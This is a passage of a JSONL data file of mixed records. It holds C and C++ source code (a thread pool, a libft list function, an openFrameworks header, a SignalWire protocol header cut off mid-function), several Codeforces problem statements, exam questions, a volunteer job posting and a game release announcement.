xv_worker_thread_stop(xv_worker_thread_t *thread)\n{\n    thread->start = 0;\n    xv_memory_barriers();\n\n    xv_log_debug(\"worker thread stop\");\n\n    return XV_OK;\n}\n\nint xv_worker_thread_push_task(xv_worker_thread_t *thread, void (*cb)(void *), void *args)\n{\n    xv_task_t *task = (xv_task_t *)xv_malloc(sizeof(xv_task_t));\n    task->cb = cb;\n    task->args = args;\n    xv_concurrent_queue_push(thread->task_queue, task);\n    xv_async_send(thread->async);\n\n    xv_log_debug(\"worker thread push task: %p, args: %p, weak up worker thread\", cb, args);\n\n    return XV_OK;\n}\n\nint xv_worker_thread_task_count(xv_worker_thread_t *thread)\n{\n    return xv_concurrent_queue_size(thread->task_queue);\n}\n\n// ----------------------------------------------------------------------------------------\n// xv_thread_pool_t\n// ----------------------------------------------------------------------------------------\nstruct xv_thread_pool_t {\n    xv_worker_thread_t **threads;\n    int thread_count;\n    int start;\n};\n\nxv_thread_pool_t *xv_thread_pool_init(int thread_count)\n{\n    xv_thread_pool_t *pool = (xv_thread_pool_t *)xv_malloc(sizeof(xv_thread_pool_t));\n    pool->threads = (xv_worker_thread_t **)xv_malloc(sizeof(xv_worker_thread_t *) * thread_count);\n    for (int i = 0; i < thread_count; ++i) {\n        pool->threads[i] = xv_worker_thread_init();\n    }\n    pool->thread_count = thread_count;\n    pool->start = 0;\n\n    return pool;\n}\n\nvoid xv_thread_pool_destroy(xv_thread_pool_t *pool)\n{\n    xv_thread_pool_stop(pool);\n    for (int i = 0; i < pool->thread_count; ++i) {\n        xv_worker_thread_destroy(pool->threads[i]);\n    }\n    xv_free(pool->threads);\n    xv_free(pool);\n\n    xv_log_debug(\"task pool destroy\");\n}\n\nint xv_thread_pool_start(xv_thread_pool_t *pool)\n{\n    if (pool->start) {\n        xv_log_error(\"thread pool already started!\");\n        return XV_ERR;\n    }\n    for (int i = 0; i < pool->thread_count; ++i) {\n        xv_worker_thread_start(pool->threads[i]);\n    }\n\n    xv_log_debug(\"task pool start\");\n\n    return XV_OK;\n}\n\nint xv_thread_pool_stop(xv_thread_pool_t *pool)\n{\n    for (int i = 0; i < pool->thread_count; ++i) {\n        xv_worker_thread_stop(pool->threads[i]);\n    }\n\n    xv_log_debug(\"task pool stop\");\n\n    return XV_OK;\n}\n\nint xv_thread_pool_push_task(xv_thread_pool_t *pool, void (*cb)(void *), void *args, int hashcode)\n{\n    int index = hashcode % pool->thread_count;\n    xv_log_debug(\"task push to worker thread index: %d, pool->thread_count: %d\", index, pool->thread_count);\n    return xv_worker_thread_push_task(pool->threads[index], cb, args);\n}\n\nint xv_thread_pool_task_count(xv_thread_pool_t *pool)\n{\n    int count = 0;\n    for (int i = 0; i < pool->thread_count; ++i) {\n        count += xv_worker_thread_task_count(pool->threads[i]);\n    }\n\n    return count;\n}", "source": "cpt_stack_code", "language": "code", "token_count": 1786, "token_count_with_eod": 1787, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "You are given an integer $$$k$$$ and a string $$$s$$$ that consists only of characters 'a' (a lowercase Latin letter) and '*' (an asterisk).\n\nEach asterisk should be replaced with several (from $$$0$$$ to $$$k$$$ inclusive) lowercase Latin letters 'b'. Different asterisk can be replaced with different counts of letter 'b'.\n\nThe result of the replacement is called a BA-string.\n\nTwo strings $$$a$$$ and $$$b$$$ are different if they either have different lengths or there exists such a position $$$i$$$ that $$$a_i \\neq b_i$$$.\n\nA string $$$a$$$ is lexicographically smaller than a string $$$b$$$ if and only if one of the following holds:\n\n- $$$a$$$ is a prefix of $$$b$$$, but $$$a \\ne b$$$;\n- in the first position where $$$a$$$ and $$$b$$$ differ, the string $$$a$$$ has a letter that appears earlier in the alphabet than the corresponding letter in $$$b$$$.\n\nNow consider all different BA-strings and find the $$$x$$$-th lexicographically smallest of them.", "source": "cpt_codeforces", "language": "en", "token_count": 235, "token_count_with_eod": 236, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "/* ************************************************************************** */\n/*                                                                            */\n/*                                                        :::      ::::::::   */\n/*   list_popleft.c                                     :+:      :+:    :+:   */\n/*                                                    +:+ +:+         +:+     */\n/*   By: akharrou <akharrou@student.42.fr>          +#+  +:+       +#+        */\n/*                                                +#+#+#+#+#+   +#+           */\n/*   Created: 2019/02/22 19:31:05 by akharrou          #+#    #+#             */\n/*   Updated: 2019/03/04 13:17:20 by akharrou         ###   ########.fr       */\n/*                                                                            */\n/* ************************************************************************** */\n\n/*\n**    NAME\n**         list_popleft -- removes the first element of a list and returns\n**                         the item it contains.\n**\n**    SYNOPSIS\n**         #include <../libft.h>\n**\n**         void *\n**         list_popleft(t_list **head);\n**\n**    PARAMETERS\n**\n**         t_list **head          Pointer to a pointer to the first\n**                                element of a list.\n**\n**    DESCRIPTION\n**         Removes and frees the first element of the list, that (*head)\n**         points to, updates (*head) to point to the new first element of\n**         the list and returns the item that the first element contained.\n**\n**         If the list had a single element, (*head), after popping the\n**         first element, will be made to point to NULL.\n**\n**    RETURN VALUES\n**         If successful returns the item from the popped element of the\n**         list; otherwise NULL.\n*/\n\n#include \"../Includes/stdlib_42.h\"\n#include \"../Includes/list.h\"\n\nvoid\t\t*list_popleft(t_list **head)\n{\n\tvoid\t*item;\n\tt_list\t*tmp;\n\n\tif (head && (*head))\n\t{\n\t\titem = (*head)->item;\n\t\ttmp = (*head);\n\t\t(*head) = (*head)->next;\n\t\tfree(tmp);\n\t\treturn (item);\n\t}\n\treturn (NULL);\n}", "source": "cpt_stack_code", "language": "code", "token_count": 474, "token_count_with_eod": 475, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "Today at the lesson Vitya learned a very interesting function — mex. Mex of a sequence of numbers is the minimum non-negative number that is not present in the sequence as element. For example, mex([4, 33, 0, 1, 1, 5]) = 2 and mex([1, 2, 3]) = 0.\n\nVitya quickly understood all tasks of the teacher, but can you do the same?\n\nYou are given an array consisting of n non-negative integers, and m queries. Each query is characterized by one number x and consists of the following consecutive steps:\n\n- Perform the bitwise addition operation modulo 2 (xor) of each array element with the number x.\n- Find mex of the resulting array.\n\nNote that after each query the array changes.", "source": "cpt_codeforces", "language": "en", "token_count": 172, "token_count_with_eod": 173, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "You are given an integer $$$n$$$ and three strings $$$a, b, c$$$, each consisting of $$$n$$$ lowercase Latin letters.\n\nLet a template be a string $$$t$$$ consisting of $$$n$$$ lowercase and/or uppercase Latin letters. The string $$$s$$$ matches the template $$$t$$$ if the following conditions hold for all $$$i$$$ from $$$1$$$ to $$$n$$$:\n\n- if the $$$i$$$-th letter of the template is lowercase, then $$$s_i$$$ must be the same as $$$t_i$$$;\n- if the $$$i$$$-th letter of the template is uppercase, then $$$s_i$$$ must be different from the lowercase version of $$$t_i$$$. For example, if there is a letter 'A' in the template, you cannot use the letter 'a' in the corresponding position of the string.\n\nAccordingly, the string doesn't match the template if the condition doesn't hold for at least one $$$i$$$.\n\nDetermine whether there exists a template $$$t$$$ such that the strings $$$a$$$ and $$$b$$$ match it, while the string $$$c$$$ does not.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "1) What are the different applications of Data Structure?\n2) What are the limitations of Linear Array?\n3) Difference between:\na) Field, Record and File.\nb) Merging and Contatenation.\nc) Linear Search and Binary Search.\nd) Linear and Non Linear Array.\ne) Record and Array.\nf) Program and Algorithm.\n4) Define Asymptotic Notation.\n5) Different types of data Structure.\n6) How to represent the 3d array in Memory?\nb) Jagged Array\nc) Pointer Array\n8. prepare the Algorithm to merge two Arrays.\n9. Suppose Array X(1:3,4:18,6:20) is given with Base Address 200 and 2 word per memory. Find:\na) The length of Array X.\nb) Effective Indices.\nc) Location/Address of X(2,9,15) with Row Major and Coloum Major Order.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 215, "token_count_with_eod": 216, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "This is an interactive problem. This problem doesn't support hacks.\n\nSphinx's duty is to guard the city of Thebes by making sure that no unworthy traveler crosses its gates. Only the ones who answer her riddle timely and correctly (or get an acc for short) are allowed to pass. As of those who fail, no one heard of them ever again...\n\nSo you don't have a choice but to solve the riddle. Sphinx has an array $$$a_1, a_2, \\ldots, a_n$$$ of nonnegative integers strictly smaller than $$$2^b$$$ and asked you to find the maximum value among its elements. Of course, she will not show you the array, but she will give you $$$n$$$ and $$$b$$$. As it is impossible to answer this riddle blindly, you can ask her some questions. For given $$$i, y$$$, she'll answer you whether $$$a_i$$$ is bigger than $$$y$$$. As sphinxes are not very patient, you can ask at most $$$3 \\cdot (n + b) $$$ such questions.\n\nAlthough cunning, sphinxes are honest. Even though the array can change between your queries, answers to the previously asked questions will remain valid.", "source": "cpt_codeforces", "language": "en", "token_count": 258, "token_count_with_eod": 259, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Remember these? Well, you probably don’t remember all of them. Because I only just now added a bunch to the page, doubling the number of comics posted. Huge thanks to Saurus for providing the site with self-aware, self-satirizing comic relief! Anyway, that is all for now. But DotQ is on the upswing, and there will be more—of something—soon.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 82, "token_count_with_eod": 83, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "- Organized & all about details, details, details - Direct & clear communicator - Deadline oriented - Self starter- 360 hustle - think of ideas and work to implement them- Empathy- Adaptability/ comfortable interacting with different personalities\nThis innovation leader will help to guide the organization to develop, cultivate and pursue the most promising and disruptive transformation ideas, and will enhance our ability to test, learn and scale them. (For example, how can we grow our events, how can we reach more cities, how can we create amazing experiences using a small budget. . .how can we \"fail fast\")\nResponsibilities- Create growth strategy for expanding the NAABW user network- Implement revenue driving programs (i.e. what should we sell, what should we do more of? )- Design and implement a digital online community for 3 major cities- Identify who our followers are, what they need in their lives, and how we can create additional products to meet those needs; operationalize new products (i.e. you decide we should start selling widgets, and they you work to design and launch and online widget store)- Align expansion with branding and messaging events & experiences\nAdditional Requirements (please read carefully!):\n- Must create and SOLEY USE NAABW email account for external communications - Must create and SOLEY USE NAABW Slack account for internal communications - Must be plugged into team communications, responsive, and deadline oriented - Must dedicate 4 - 8 hours monthly (on average)- Must be be a part of one team conference call per month- Attention to detail - GOTTA BE A HUSTLER!!! This is a fast paced role, designed to help us grow from small bay area non-profit to larger national brand- In order to take NAABW to the next level, we need team members that are completely dedicated to serving our mission, and our community .If you're spread too thin, you won't be able to do your best work in this role. . .plus #selfcare.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 410, "token_count_with_eod": 411, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "A permutation of length n is an integer sequence such that each integer from 0 to (n - 1) appears exactly once in it. For example, sequence [0, 2, 1] is a permutation of length 3 while both [0, 2, 2] and [1, 2, 3] are not.\n\nA fixed point of a function is a point that is mapped to itself by the function. A permutation can be regarded as a bijective function. We'll get a definition of a fixed point in a permutation. An integer i is a fixed point of permutation a0, a1, ..., an - 1 if and only if ai = i. For example, permutation [0, 2, 1] has 1 fixed point and permutation [0, 1, 2] has 3 fixed points.\n\nYou are given permutation a. You are allowed to swap two elements of the permutation at most once. Your task is to maximize the number of fixed points in the resulting permutation. Note that you are allowed to make at most one swap operation.", "source": "cpt_codeforces", "language": "en", "token_count": 228, "token_count_with_eod": 229, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "//\n//  BlobTracker.h\n//  kinectTCPServer\n//\n//  Created by maybites on 14.02.14.\n//\n//\n#pragma once\n\n#include \"ofMain.h\"\n#include \"ofxOpenCv.h\"\n#include \"ofVec3f.h\"\n#include \"ofxGuiExtended.h\"\n#include \"ofConstants.h\"\n#include \"Planef.h\"\n#include \"Linef.h\"\n#include \"OrthoCamera.h\"\n\n#include \"BlobTracker.h\"\n\n#include <cmath>\n\n#define N_MAX_BLOBS 20\n\nclass BlobFinder {\n    \npublic:\n    void setup(ofxGui &gui);\n    void allocate();\n    \n    void captureBegin();\n    void captureEnd();\n    \n    void update();\n\n    void updateSensorBox(int & value);\n    \n    void drawSensorBox();\n    void drawBodyBlobs2d(ofRectangle _rect);\n\n    void drawBodyBlobsBox();\n    void drawBodyBlobsHeadTop();\n    void drawHeadBlobs();\n    void drawEyeCenters();\n    \n    void drawGazePoint();\n\n    vector <BlobTracker> trackedBlobs;\n    \n    ofVec2f captureScreenSize;\n    \n    ofVec3f kinectPos;\n\n    ///////////////////\n    // FBO CAPTURING //\n    ///////////////////\n    orthoCamera captureCam;\n    \n    //ofImage capturedImage;\n    ofFbo captureFBO;\n\n\n    /////////////////\n    //COLOR CONTOUR//\n    /////////////////\n        \n    ofPixels fbopixels;\n    \n    ofxCvColorImage colorImg;\n    \n    ofxCvGrayscaleImage grayImage; // grayscale depth image\n    ofxCvGrayscaleImage grayEyeLevel; // the eyelevel thresholded image\n    ofxCvGrayscaleImage grayThreshFar; // the far thresholded image\n    \n    ofxCvContourFinder contourFinder;\n    ofxCvContourFinder contourEyeFinder;\n    \n    bool bThreshWithOpenCV;\n    \n    int nearThreshold;\n    int farThreshold;\n    \n    //////////////\n    //PROPERTIES//\n    //////////////\n    \n    ofxGuiPanel *panel;\n    \n    ofParameterGroup sensorBoxGuiGroup;\n\n    ofParameter<int> sensorBoxLeft;\n    ofParameter<int> sensorBoxRight;\n    ofParameter<int> sensorBoxTop;\n    ofParameter<int> sensorBoxBottom;\n    ofParameter<int> sensorBoxFront;\n    ofParameter<int> sensorBoxBack;\n    ofParameter<int> nearFrustum;\n    ofParameter<int> farFrustum;\n    \n    ofParameterGroup blobGuiGroup;\n    \n    ofParameter<int> blobAreaMin;\n    ofParameter<int> blobAreaMax;\n    ofParameter<int> countBlob;\n\n    ofParameterGroup blobEyeGroup;\n\n    ofParameter<float> eyeLevel;\n    ofParameter<float> eyeInset;\n\n    ofParameter<ofVec3f> gazePoint;\n    ofSpherePrimitive gazePointer;\n\n    ofParameterGroup blobSmoothGroup;\n    ofParameter<int> smoothOffset;\n    ofParameter<float> smoothFactor;\n\n    ofVboMesh sensorBox;\n   \n    ofVec3f normal;\n    float p;\n\n};", "source": "cpt_stack_code", "language": "code", "token_count": 719, "token_count_with_eod": 720, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "We’ve just launched the re-release of 3030 Deathwar!\nThe game is a 2D Top-Down Space RPG, featuring Open World exploration, boarding stations and derelicts, many diverse NPCs, tons of missions and an exciting plot!\nThe re-release adds higher resolution, massive balance and gameplay changes, a smoother tutorial and many other improvements!\n2014 Version Changes\n- Better visuals with increased Resolution\n- Redesigned, modernized combat system\n- Rebalancing of all ships, upgrades, weapons\n- Overhauled and improved tutorial\n- Rebalanced Open World Missions\n- Improved useability with autosaving and simpler controls\n- Tons of fixes and other improvements\nYou can download and play the game for free at", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 158, "token_count_with_eod": 159, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "/*\n * Copyright (c) 2018 SignalWire, Inc\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in all\n * copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n * SOFTWARE.\n */\n\n#pragma once\n\n/* The method name for a protocol request */\nstatic const char *BLADE_PROTOCOL_METHOD = \"blade.protocol\";\n\n/* Flags for the command */\n#define BLADE_PROTOCOL_FLAGS 0\n\n/* Default time to live for protocol */\n#define BLADE_PROTOCOL_TTL_MS\tBLADE_DEFAULT_CMD_TTL_MS\n\nstatic const char *BLADE_PROTOCOL_CMD_PROVIDER_ADD = \"provider.add\";\nstatic const char *BLADE_PROTOCOL_CMD_PROVIDER_REMOVE = \"provider.remove\";\nstatic const char *BLADE_PROTOCOL_CMD_PROVIDER_RANK_UPDATE = \"provider.rank.update\";\nstatic const char *BLADE_PROTOCOL_CMD_CHANNEL_ADD = \"channel.add\";\nstatic const char *BLADE_PROTOCOL_CMD_CHANNEL_REMOVE = \"channel.remove\";\n\ntypedef struct blade_protocol_rqu_s {\n\tconst char *command;\n\tconst char *protocol;\n\tks_json_t *params;\n} blade_protocol_rqu_t;\n\nSWCLT_JSON_MARSHAL_BEG(BLADE_PROTOCOL_RQU, blade_protocol_rqu_t)\n\tSWCLT_JSON_MARSHAL_STRING(command)\n\tSWCLT_JSON_MARSHAL_STRING(protocol)\n\tSWCLT_JSON_MARSHAL_ITEM_OPT(params)\nSWCLT_JSON_MARSHAL_END()\n\nSWCLT_JSON_DESTROY_BEG(BLADE_PROTOCOL_RQU, blade_protocol_rqu_t)\n\tSWCLT_JSON_DESTROY_STRING(command)\n\tSWCLT_JSON_DESTROY_STRING(protocol)\n\tSWCLT_JSON_DESTROY_ITEM(params)\nSWCLT_JSON_DESTROY_END()\n\nSWCLT_JSON_PARSE_BEG(BLADE_PROTOCOL_RQU, blade_protocol_rqu_t)\n\tSWCLT_JSON_PARSE_STRING(command)\n\tSWCLT_JSON_PARSE_STRING(protocol)\n\tSWCLT_JSON_PARSE_ITEM_OPT(params)\nSWCLT_JSON_PARSE_END()\n\n\n/* The params definition for BLADE_PROTOCOL_CMD_PROVIDER_ADD */\ntypedef struct blade_protocol_provider_add_param_s {\n\tblade_access_control_t default_method_execute_access;\n\tblade_access_control_t default_channel_subscribe_access;\n\tblade_access_control_t default_channel_broadcast_access;\n\tks_json_t *methods;\n\tks_json_t *channels;\n\tint rank;\n\tks_json_t *data;\n} blade_protocol_provider_add_param_t;\n\nSWCLT_JSON_MARSHAL_BEG(BLADE_PROTOCOL_PROVIDER_ADD_PARAM, blade_protocol_provider_add_param_t)\n\tSWCLT_JSON_MARSHAL_INT(default_method_execute_access)\n\tSWCLT_JSON_MARSHAL_INT(default_channel_subscribe_access)\n\tSWCLT_JSON_MARSHAL_INT(default_channel_broadcast_access)\n\tSWCLT_JSON_MARSHAL_ITEM_OPT(methods)\n\tSWCLT_JSON_MARSHAL_ITEM_OPT(channels)\n\tSWCLT_JSON_MARSHAL_INT(rank)\n\tSWCLT_JSON_MARSHAL_ITEM_OPT(data)\nSWCLT_JSON_MARSHAL_END()\n\nSWCLT_JSON_DESTROY_BEG(BLADE_PROTOCOL_PROVIDER_ADD_PARAM, blade_protocol_provider_add_param_t)\n\tSWCLT_JSON_DESTROY_INT(default_method_execute_access)\n\tSWCLT_JSON_DESTROY_INT(default_channel_subscribe_access)\n\tSWCLT_JSON_DESTROY_INT(default_channel_broadcast_access)\n\tSWCLT_JSON_DESTROY_ITEM(methods)\n\tSWCLT_JSON_DESTROY_ITEM(channels)\n\tSWCLT_JSON_DESTROY_INT(rank)\n\tSWCLT_JSON_DESTROY_ITEM(data)\nSWCLT_JSON_DESTROY_END()\n\nSWCLT_JSON_PARSE_BEG(BLADE_PROTOCOL_PROVIDER_ADD_PARAM, blade_protocol_provider_add_param_t)\n\tSWCLT_JSON_PARSE_INT_OPT_DEF(default_method_execute_access, BLADE_ACL_SYSTEM)\n\tSWCLT_JSON_PARSE_INT_OPT_DEF(default_channel_subscribe_access, BLADE_ACL_SYSTEM)\n\tSWCLT_JSON_PARSE_INT_OPT_DEF(default_channel_broadcast_access, BLADE_ACL_SYSTEM)\n\tSWCLT_JSON_PARSE_ITEM_OPT(methods)\n\tSWCLT_JSON_PARSE_ITEM_OPT(channels)\n\tSWCLT_JSON_PARSE_INT_OPT_DEF(rank, 1)\n\tSWCLT_JSON_PARSE_ITEM_OPT(data)\nSWCLT_JSON_PARSE_END()\n\n\n/* The params definition for BLADE_PROTOCOL_CMD_PROVIDER_ADD */\ntypedef struct blade_protocol_provider_rank_update_param_s {\n\tint rank;\n} blade_protocol_provider_rank_update_param_t;\n\nSWCLT_JSON_MARSHAL_BEG(BLADE_PROTOCOL_PROVIDER_RANK_UPDATE_PARAM, blade_protocol_provider_rank_update_param_t)\n\tSWCLT_JSON_MARSHAL_INT(rank)\nSWCLT_JSON_MARSHAL_END()\n\nSWCLT_JSON_DESTROY_BEG(BLADE_PROTOCOL_PROVIDER_RANK_UPDATE_PARAM, blade_protocol_provider_rank_update_param_t)\n\tSWCLT_JSON_DESTROY_INT(rank)\nSWCLT_JSON_DESTROY_END()\n\nSWCLT_JSON_PARSE_BEG(BLADE_PROTOCOL_PROVIDER_RANK_UPDATE_PARAM, blade_protocol_provider_rank_update_param_t)\n\tSWCLT_JSON_PARSE_INT_OPT_DEF(rank, 1)\nSWCLT_JSON_PARSE_END()\n\n\n\n/**\n * CREATE_BLADE_PROTOCOL_PROVIDER_ADD_CMD_ASYNC\n * Creates a command which holds and owns the request json for a protocol provider add\n * request, also takes owner of the provider data and channels json passed in\n */\n#define CREATE_BLADE_PROTOCOL_PROVIDER_ADD_CMD_ASYNC(...)\t__CREATE_BLADE_PROTOCOL_PROVIDER_ADD_CMD_ASYNC(__FILE__, __LINE__, __PRETTY_FUNCTION__, __VA_ARGS__)\nstatic inline swclt_cmd_t __CREATE_BLADE_PROTOCOL_PROVIDER_ADD_CMD_ASYNC(\n\tconst char *file, int line, const char *tag,\n\tswclt_cmd_cb_t cb,\n\tvoid *cb_data,\n\tconst char *protocol,\n\tblade_access_control_t default_method_execute_access,\n\tblade_access_control_t default_channel_subscribe_access,\n\tblade_access_control_t default_channel_broadcast_access,\n\tks_json_t **methods,\n\tks_json_t **channels,\n\tint rank,\n\tks_json_t **data)\n{\n\tswclt_cmd_t cmd = KS_NULL_HANDLE;\n\tks_status_t status;\n\tks_json_t *params;\n\tks_json_t *request;\n\tks_pool_t *pool;\n\n\tif (ks_pool_open(&pool))\n\t\treturn cmd;\n\n\tif (!(params = BLADE_PROTOCOL_PROVIDER_ADD_PARAM_MARSHAL(pool,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t &(blade_protocol_provider_add_param_t){\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t default_method_execute_access,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t default_channel_subscribe_access,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t default_channel_broadcast_access,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t methods ? *methods : NULL,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t channels ? *channels : NULL,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t rank,\n \t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t data ? *data : NULL}))) {\n\t\tks_log(KS_LOG_WARNING, \"Failed to allocate protocol request params\");\n\n\t\t/* Since provider_data and channels was at the end of the macro declartaion, it will have\n\t\t * not touched it and we will not indicate we've taken ownership of it */\n\t\tks_pool_close(&pool);\n\t\treturn cmd;\n\t}\n\t\t\t\t\t\t\t\t\t\t\t  \n\t/* We have taken ownership of the provider_data and channels from here on out */\n\tif (data) *data = NULL;\n\tif (channels) *channels = NULL;\n\t\n\tif (!(request = BLADE_PROTOCOL_RQU_MARSHAL(\n\t\t\tpool,\n\t\t\t&(blade_protocol_rqu_t){\n\t\t\t\tBLADE_PROTOCOL_CMD_PROVIDER_ADD,\n\t\t\t\tprotocol,\n\t\t\t\tparams}))) {\n\t\tks_log(KS_LOG_WARNING, \"Failed to allocate protocol request\");\n\n\t\t/* Since params is allocated in the same pool, nothing to worry about with ownership */\n\t\tks_json_delete(&params);\n\t\tks_pool_close(&pool);\n\t\treturn cmd;\n\t}\n\n\t/* Now hand it to the command, it will take ownership of it if successful\n\t * and null out our ptr */\n\tif ((status = swclt_cmd_create_ex(\n\t\t\t&cmd,\n\t\t\t&pool,\n\t\t\tcb,\n\t\t\tcb_data,\n\t\t\tBLADE_PROTOCOL_METHOD,\n\t\t\t&request,\n\t\t\tBLADE_PROTOCOL_TTL_MS,\n\t\t\tBLADE_PROTOCOL_FLAGS,\n\t\t\tks_uuid_null()))) {\n\t\tks_log(KS_LOG_WARNING, \"Failed to allocate protocol cmd: %lu\", status);\n\n\t\t/* Safe to free this or at least attempt to, cmd will have set it to null if it\n\t\t * took ownership of it */\n\t\tks_json_delete(&request);\n\t\tks_pool_close(&pool);\n\t\treturn cmd;\n\t}\n\n\t/* Phew, successfully allocated the command */\n\treturn cmd;\n}\n\nstatic inline swclt_cmd_t CREATE_BLADE_PROTOCOL_PROVIDER_ADD_CMD(\n\tconst char *protocol,\n\tblade_access_control_t default_method_execute_access,\n\tblade_access_control_t default_channel_subscribe_access,\n\tblade_access_control_t default_channel_broadcast_access,\n\tks_json_t **methods,\n \tks_json_t **channels,\n\tint rank,\n\tks_json_t **data)\n{\n\treturn CREATE_BLADE_PROTOCOL_PROVIDER_ADD_CMD_ASYNC(\n\t\tNULL,\n\t\tNULL,\n\t\tprotocol,\n\t\tdefault_method_execute_access,\n\t\tdefault_channel_subscribe_access,\n\t\tdefault_channel_broadcast_access,\n\t\tmethods,\n\t\tchannels,\n\t\trank,\n\t\tdata);\n}\n\n\n/**\n * CREATE_BLADE_PROTOCOL_PROVIDER_REMOVE_CMD_ASYNC\n * Creates a command which holds and owns the request json for a protocol provider add\n * request, also takes owner of the provider data and channels json passed in\n */\n#define CREATE_BLADE_PROTOCOL_PROVIDER_REMOVE_CMD_ASYNC(...)\t__CREATE_BLADE_PROTOCOL_PROVIDER_REMOVE_CMD_ASYNC(__FILE__, __LINE__, __PRETTY_FUNCTION__, __VA_ARGS__)\nstatic inline swclt_cmd_t __CREATE_BLADE_PROTOCOL_PROVIDER_REMOVE_CMD_ASYNC(\n\tconst char *file, int line, const char *tag,\n\tswclt_cmd_cb_t cb,\n\tvoid *cb_data,\n\tconst char *protocol)\n{\n\tswclt_cmd_t cmd = KS_NULL_HANDLE;\n\tks_status_t status;\n\tks_json_t *request;\n\tks_pool_t *pool;\n\n\tif (ks_pool_open(&pool))\n\t\treturn cmd;\n\n\tif (!(request = BLADE_PROTOCOL_RQU_MARSHAL(\n\t\t\tpool,\n\t\t\t&(blade_protocol_rqu_t){\n\t\t\t\tBLADE_PROTOCOL_CMD_PROVIDER_REMOVE,\n\t\t\t\tprotocol,\n\t\t\t\tNULL}))) {\n\t\tks_log(KS_LOG_WARNING, \"Failed to allocate protocol request\");\n\n\t\t/* Since params is allocated in the same pool, nothing to worry about with ownership */\n\t\tks_pool_close(&pool);\n\t\treturn cmd;\n\t}\n\n\t/* Now hand it to the command, it will take ownership of it if successful\n\t * and null out our ptr */\n\tif ((status = swclt_cmd_create_ex(\n\t\t\t&cmd,\n\t\t\t&pool,\n\t\t\tcb,\n\t\t\tcb_data,\n\t\t\tBLADE_PROTOCOL_METHOD,\n\t\t\t&request,\n\t\t\tBLADE_PROTOCOL_TTL_MS,\n\t\t\tBLADE_PROTOCOL_FLAGS,\n\t\t\tks_uuid_null()))) {\n\t\tks_log(KS_LOG_WARNING, \"Failed to allocate protocol cmd: %lu\", status);\n\n\t\t/* Safe to free this or at least attempt to, cmd will have set it to null if it\n\t\t * took ownership of it */\n\t\tks_json_delete(&request);\n\t\tks_pool_close(&pool);\n\t\treturn cmd;\n\t}\n\n\t/* Phew, successfully allocated the command */\n\treturn cmd;\n}\n\nstatic inline swclt_cmd_t CREATE_BLADE_PROTOCOL_PROVIDER_REMOVE_CMD(const char *protocol)\n{\n\treturn CREATE_BLADE_PROTOCOL_PROVIDER_REMOVE_CMD_ASYNC(\n\t\tNULL,\n\t\tNULL,\n\t\tprotocol);\n}\n\n/**\n * CREATE_BLADE_PROTOCOL_PROVIDER_RANK_UPDATE_CMD_ASYNC\n * Creates a command which holds and owns the request json for a protocol provider rank update request\n */\n#define CREATE_BLADE_PROTOCOL_PROVIDER_RANK_UPDATE_CMD_ASYNC(...)\t__CREATE_BLADE_PROTOCOL_PROVIDER_RANK_UPDATE_CMD_ASYNC(__FILE__, __LINE__, __PRETTY_FUNCTION__, __VA_ARGS__)\nstatic inline swclt_cmd_t __CREATE_BLADE_PROTOCOL_PROVIDER_RANK_UPDATE_CMD_ASYNC(\n\tconst char *file, int line, const char *tag,\n\tswclt_cmd_cb_t cb,\n\tvoid *cb_data,\n\tconst char *protocol,\n\tint rank)\n{\n\tswclt_cmd_t cmd = KS_NULL_HANDLE;\n\tks_status_t status;\n\tks_json_t *params;\n\tks_json_t *request;\n\tks_pool_t *pool;\n\n\tif (ks_pool_open(&pool))\n\t\treturn cmd;\n\n\tif (!(params = BLADE_PROTOCOL_PROVIDER_RANK_UPDATE_PARAM_MARSHAL(pool, &(blade_protocol_provider_rank_update_param_t){ rank }))) {\n\t\tks_log(KS_LOG_WARNING, \"Failed to allocate protocol request params\");\n\n\t\t/* Since provider_data and channels was at the end of the macro declartaion, it will have\n\t\t * not touched it and we will not indicate we've taken ownership of it */\n\t\tks_pool_close(&pool);\n\t\treturn cmd;\n\t}\n\t\t\t\t\t\t\t\t\t\t\t  \n\t/* We have taken ownership of the provider_data and channels from here on out */\n\tif (!(request = 